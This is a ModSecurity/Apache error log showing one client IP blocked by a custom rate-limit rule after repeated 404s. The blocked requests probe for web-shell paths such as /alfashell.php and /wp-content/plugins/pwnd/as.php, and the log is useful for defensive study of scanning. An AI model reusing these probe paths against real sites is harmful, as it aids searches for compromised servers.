[Fri Apr 10 16:26:13.118699 2026] [:error] [pid 13102:tid 13172] [client 172.213.241.33:11131] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/motu.php"] [unique_id "adi0Jf9xLvjW2guI55YTOAAAAAw"]
[Fri Apr 10 16:26:13.583713 2026] [:error] [pid 13189:tid 13211] [client 172.213.241.33:10892] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bs1.php"] [unique_id "adi0JZAxiJKPums3eBAXQgAAAFM"]
[Fri Apr 10 16:26:14.044466 2026] [:error] [pid 3934:tid 3942] [client 172.213.241.33:10927] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bs1.php"] [unique_id "adi0Joa41m-BS8mg82cLewAAAMM"]
[Fri Apr 10 16:26:14.506710 2026] [:error] [pid 3934:tid 3960] [client 172.213.241.33:10917] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bs1.php"] [unique_id "adi0Joa41m-BS8mg82cLfwAAANU"]
[Fri Apr 10 16:26:14.970564 2026] [:error] [pid 3934:tid 3958] [client 172.213.241.33:11006] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bs1.php"] [unique_id "adi0Joa41m-BS8mg82cLhQAAANM"]
[Fri Apr 10 16:26:15.434858 2026] [:error] [pid 3934:tid 3944] [client 172.213.241.33:10805] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bengi.php"] [unique_id "adi0J4a41m-BS8mg82cLkAAAAMU"]
[Fri Apr 10 16:26:15.902451 2026] [:error] [pid 13189:tid 13200] [client 172.213.241.33:10920] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bengi.php"] [unique_id "adi0J5AxiJKPums3eBAXSAAAAEg"]
[Fri Apr 10 16:26:16.373273 2026] [:error] [pid 13102:tid 13180] [client 172.213.241.33:10910] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bengi.php"] [unique_id "adi0KP9xLvjW2guI55YTPwAAABQ"]
[Fri Apr 10 16:26:16.838511 2026] [:error] [pid 13101:tid 13153] [client 172.213.241.33:10946] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bengi.php"] [unique_id "adi0KN8Ldw85818pj2pkMAAAAJQ"]
[Fri Apr 10 16:26:17.304698 2026] [:error] [pid 13189:tid 13216] [client 172.213.241.33:10904] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "adi0KZAxiJKPums3eBAXUwAAAFg"]
[Fri Apr 10 16:26:17.770106 2026] [:error] [pid 13189:tid 13192] [client 172.213.241.33:10881] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "adi0KZAxiJKPums3eBAXXAAAAEA"]
[Fri Apr 10 16:26:18.233115 2026] [:error] [pid 13189:tid 13210] [client 172.213.241.33:10928] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "adi0KpAxiJKPums3eBAXYQAAAFI"]
[Fri Apr 10 16:26:18.698555 2026] [:error] [pid 3934:tid 3950] [client 172.213.241.33:10932] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "adi0Koa41m-BS8mg82cLlwAAAMs"]
[Fri Apr 10 16:26:19.160742 2026] [:error] [pid 3934:tid 3962] [client 172.213.241.33:10754] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/axx.php"] [unique_id "adi0K4a41m-BS8mg82cLmwAAANc"]
[Fri Apr 10 16:26:19.627044 2026] [:error] [pid 13101:tid 13137] [client 172.213.241.33:10943] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/axx.php"] [unique_id "adi0K98Ldw85818pj2pkOAAAAIQ"]
[Fri Apr 10 16:26:20.090343 2026] [:error] [pid 13100:tid 13117] [client 172.213.241.33:11066] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/axx.php"] [unique_id "adi0LFzg-ZkZ0InWIP1WDwAAAQw"]
[Fri Apr 10 16:26:20.551660 2026] [:error] [pid 3934:tid 3944] [client 172.213.241.33:10772] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/axx.php"] [unique_id "adi0LIa41m-BS8mg82cLpgAAAMU"]
[Fri Apr 10 16:26:21.011803 2026] [:error] [pid 13100:tid 13120] [client 172.213.241.33:11083] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfashell.php"] [unique_id "adi0LVzg-ZkZ0InWIP1WFAAAAQ8"]
[Fri Apr 10 16:26:21.473713 2026] [:error] [pid 13102:tid 13164] [client 172.213.241.33:10924] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfashell.php"] [unique_id "adi0Lf9xLvjW2guI55YTUQAAAAQ"]
[Fri Apr 10 16:26:21.934661 2026] [:error] [pid 13100:tid 13122] [client 172.213.241.33:10783] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfashell.php"] [unique_id "adi0LVzg-ZkZ0InWIP1WGgAAARE"]
[Fri Apr 10 16:26:22.398414 2026] [:error] [pid 13101:tid 13144] [client 172.213.241.33:10976] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfashell.php"] [unique_id "adi0Lt8Ldw85818pj2pkRQAAAIs"]
[Fri Apr 10 16:26:22.869323 2026] [:error] [pid 13100:tid 13128] [client 172.213.241.33:10806] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "adi0Llzg-ZkZ0InWIP1WIAAAARc"]
[Fri Apr 10 16:26:23.331250 2026] [:error] [pid 3934:tid 3957] [client 172.213.241.33:10962] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "adi0L4a41m-BS8mg82cLswAAANI"]
[Fri Apr 10 16:26:23.794188 2026] [:error] [pid 3934:tid 3942] [client 172.213.241.33:10939] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "adi0L4a41m-BS8mg82cLtQAAAMM"]
[Fri Apr 10 16:26:24.256750 2026] [:error] [pid 3934:tid 3952] [client 172.213.241.33:10938] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "adi0MIa41m-BS8mg82cLvAAAAM0"]
[Fri Apr 10 16:26:24.742996 2026] [:error] [pid 13102:tid 13165] [client 172.213.241.33:10923] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/acp.php"] [unique_id "adi0MP9xLvjW2guI55YTYQAAAAU"]
[Fri Apr 10 16:26:25.201542 2026] [:error] [pid 13102:tid 13180] [client 172.213.241.33:10812] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/acp.php"] [unique_id "adi0Mf9xLvjW2guI55YTYgAAABQ"]
[Fri Apr 10 16:26:25.661463 2026] [:error] [pid 3934:tid 3945] [client 172.213.241.33:10770] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/acp.php"] [unique_id "adi0MYa41m-BS8mg82cLwgAAAMY"]
[Fri Apr 10 16:26:26.126730 2026] [:error] [pid 13189:tid 13209] [client 172.213.241.33:10786] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/acp.php"] [unique_id "adi0MpAxiJKPums3eBAXdwAAAFE"]
[Fri Apr 10 16:26:26.589330 2026] [:error] [pid 3934:tid 3943] [client 172.213.241.33:10916] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file48.php"] [unique_id "adi0Moa41m-BS8mg82cLxAAAAMQ"]
[Fri Apr 10 16:26:27.049417 2026] [:error] [pid 3934:tid 3952] [client 172.213.241.33:10719] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file48.php"] [unique_id "adi0M4a41m-BS8mg82cLyAAAAM0"]
[Fri Apr 10 16:26:27.513953 2026] [:error] [pid 13101:tid 13138] [client 172.213.241.33:10936] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file48.php"] [unique_id "adi0M98Ldw85818pj2pkVwAAAIU"]
[Fri Apr 10 16:26:27.977020 2026] [:error] [pid 3934:tid 3953] [client 172.213.241.33:10925] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file48.php"] [unique_id "adi0M4a41m-BS8mg82cLzQAAAM4"]
[Fri Apr 10 16:26:28.444190 2026] [:error] [pid 3934:tid 3943] [client 172.213.241.33:10998] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g.php"] [unique_id "adi0NIa41m-BS8mg82cL0QAAAMQ"]
[Fri Apr 10 16:26:28.907248 2026] [:error] [pid 13189:tid 13202] [client 172.213.241.33:10930] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g.php"] [unique_id "adi0NJAxiJKPums3eBAXfwAAAEo"]
[Fri Apr 10 16:26:29.369925 2026] [:error] [pid 3934:tid 3957] [client 172.213.241.33:10969] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g.php"] [unique_id "adi0NYa41m-BS8mg82cL2AAAANI"]
[Fri Apr 10 16:26:29.826388 2026] [:error] [pid 3934:tid 3952] [client 172.213.241.33:10699] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g.php"] [unique_id "adi0NYa41m-BS8mg82cL3gAAAM0"]
[Fri Apr 10 16:26:30.289887 2026] [:error] [pid 13189:tid 13215] [client 172.213.241.33:10909] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "adi0NpAxiJKPums3eBAXhQAAAFc"]
[Fri Apr 10 16:26:30.750093 2026] [:error] [pid 13189:tid 13211] [client 172.213.241.33:10800] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "adi0NpAxiJKPums3eBAXigAAAFM"]
[Fri Apr 10 16:26:31.216776 2026] [:error] [pid 13189:tid 13214] [client 172.213.241.33:10701] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "adi0N5AxiJKPums3eBAXjgAAAFY"]
[Fri Apr 10 16:26:31.678128 2026] [:error] [pid 13189:tid 13212] [client 172.213.241.33:10773] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "adi0N5AxiJKPums3eBAXlAAAAFQ"]
[Fri Apr 10 16:26:32.137302 2026] [:error] [pid 13101:tid 13142] [client 172.213.241.33:10950] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "adi0ON8Ldw85818pj2pkYwAAAIk"]
[Fri Apr 10 16:26:32.624787 2026] [:error] [pid 13102:tid 13160] [client 172.213.241.33:10868] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "adi0OP9xLvjW2guI55YTfQAAAAA"]
[Fri Apr 10 16:26:33.104435 2026] [:error] [pid 13189:tid 13207] [client 172.213.241.33:11104] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "adi0OZAxiJKPums3eBAXoQAAAE8"]
[Fri Apr 10 16:26:33.567668 2026] [:error] [pid 3934:tid 3958] [client 172.213.241.33:10777] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "adi0OYa41m-BS8mg82cL5AAAANM"]
[Fri Apr 10 16:26:34.041448 2026] [:error] [pid 3934:tid 3956] [client 172.213.241.33:10760] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ew.php"] [unique_id "adi0Ooa41m-BS8mg82cL6QAAANE"]
[Fri Apr 10 16:26:34.521652 2026] [:error] [pid 3934:tid 3945] [client 172.213.241.33:11029] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ew.php"] [unique_id "adi0Ooa41m-BS8mg82cL7gAAAMY"]
[Fri Apr 10 16:26:34.987098 2026] [:error] [pid 13101:tid 13154] [client 172.213.241.33:10889] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ew.php"] [unique_id "adi0Ot8Ldw85818pj2pkaQAAAJU"]
[Fri Apr 10 16:26:35.455271 2026] [:error] [pid 3934:tid 3959] [client 172.213.241.33:10931] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ew.php"] [unique_id "adi0O4a41m-BS8mg82cL8gAAANQ"]
[Fri Apr 10 16:26:35.915491 2026] [:error] [pid 3934:tid 3952] [client 172.213.241.33:10803] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file21.php"] [unique_id "adi0O4a41m-BS8mg82cL8wAAAM0"]
[Fri Apr 10 16:26:36.376413 2026] [:error] [pid 13101:tid 13141] [client 172.213.241.33:10789] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file21.php"] [unique_id "adi0PN8Ldw85818pj2pkcAAAAIg"]
[Fri Apr 10 16:26:36.834617 2026] [:error] [pid 3934:tid 3946] [client 172.213.241.33:10779] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file21.php"] [unique_id "adi0PIa41m-BS8mg82cL-gAAAMc"]
[Fri Apr 10 16:26:37.303549 2026] [:error] [pid 3934:tid 3948] [client 172.213.241.33:10717] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file21.php"] [unique_id "adi0PYa41m-BS8mg82cL_wAAAMk"]
[Fri Apr 10 16:26:37.785155 2026] [:error] [pid 3934:tid 3941] [client 172.213.241.33:10736] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class19.php"] [unique_id "adi0PYa41m-BS8mg82cMAgAAAMI"]
[Fri Apr 10 16:26:38.252630 2026] [:error] [pid 13189:tid 13213] [client 172.213.241.33:10922] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class19.php"] [unique_id "adi0PpAxiJKPums3eBAXwQAAAFU"]
[Fri Apr 10 16:26:38.714936 2026] [:error] [pid 13189:tid 13207] [client 172.213.241.33:10809] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class19.php"] [unique_id "adi0PpAxiJKPums3eBAXwwAAAE8"]
